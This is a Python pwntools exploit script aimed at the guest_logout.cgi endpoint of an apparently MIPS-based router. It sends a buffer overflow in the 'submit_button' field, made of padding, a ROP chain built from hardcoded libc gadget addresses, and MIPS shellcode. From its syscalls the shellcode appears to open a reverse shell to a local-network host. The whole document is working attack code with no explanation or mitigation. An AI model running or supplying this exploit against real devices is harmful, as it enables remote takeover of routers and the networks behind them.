from
pwn
import
*
import
requests
context.log_level
=
'debug'
context.arch
=
'mips'
url
=
"https://192.168.1.1/guest_logout.cgi"
shellcode
=
b
"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
shellcode
+
=
b
"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode
+
=
b
"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
shellcode
+
=
b
"\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
shellcode
+
=
b
"\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
shellcode
+
=
b
"\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
shellcode
+
=
b
"\xf8\xff\xa5\xaf"
shellcode
+
=
b
"\x01\x47\x05\x3c\xc0\xa8\xa5\x34"
shellcode
+
=
b
"\xfc\xff\xa5\xaf"
shellcode
+
=
b
"\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
shellcode
+
=
b
"\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
shellcode
+
=
b
"\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
shellcode
+
=
b
"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
shellcode
+
=
b
"\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
shellcode
+
=
b
"\xab\x0f\x02\x24\x0c\x09\x09\x01"
libc_base
=
0x2af98000
mysleep
=
libc_base
+
0x000506c0
payload
=
b
'a'
*
85
payload
+
=
p32(libc_base
+
0x113e0
)
payload
+
=
b
'b'
*
0x18
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x214b4
)
payload
+
=
b
'a'
*
4
payload
+
=
p32(mysleep)
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x3d7e4
)
payload
+
=
b
'a'
*
4
payload
+
=
b
'a'
*
4
payload
+
=
b
'a'
*
4
payload
+
=
p32(libc_base
+
0x171e0
)
payload
+
=
b
'a'
*
0x18
payload
+
=
p32(libc_base
+
0x3d050
)
payload
+
=
b
'a'
*
0x10
payload
+
=
p32(libc_base
+
0x257a0
)
payload
+
=
b
'a'
*
0x18
payload
+
=
shellcode
data
=
{
"cmac"
:
"E8:80:88:63:87:76"
,
"cip"
:
"192.168.1.71"
,
"submit_button"
:
"status_guestnet.asp"
.encode()
+
payload
}
response
=
requests.post(url, data
=
data, verify
=
False
)
print
(response.status_code)
print
(response.text)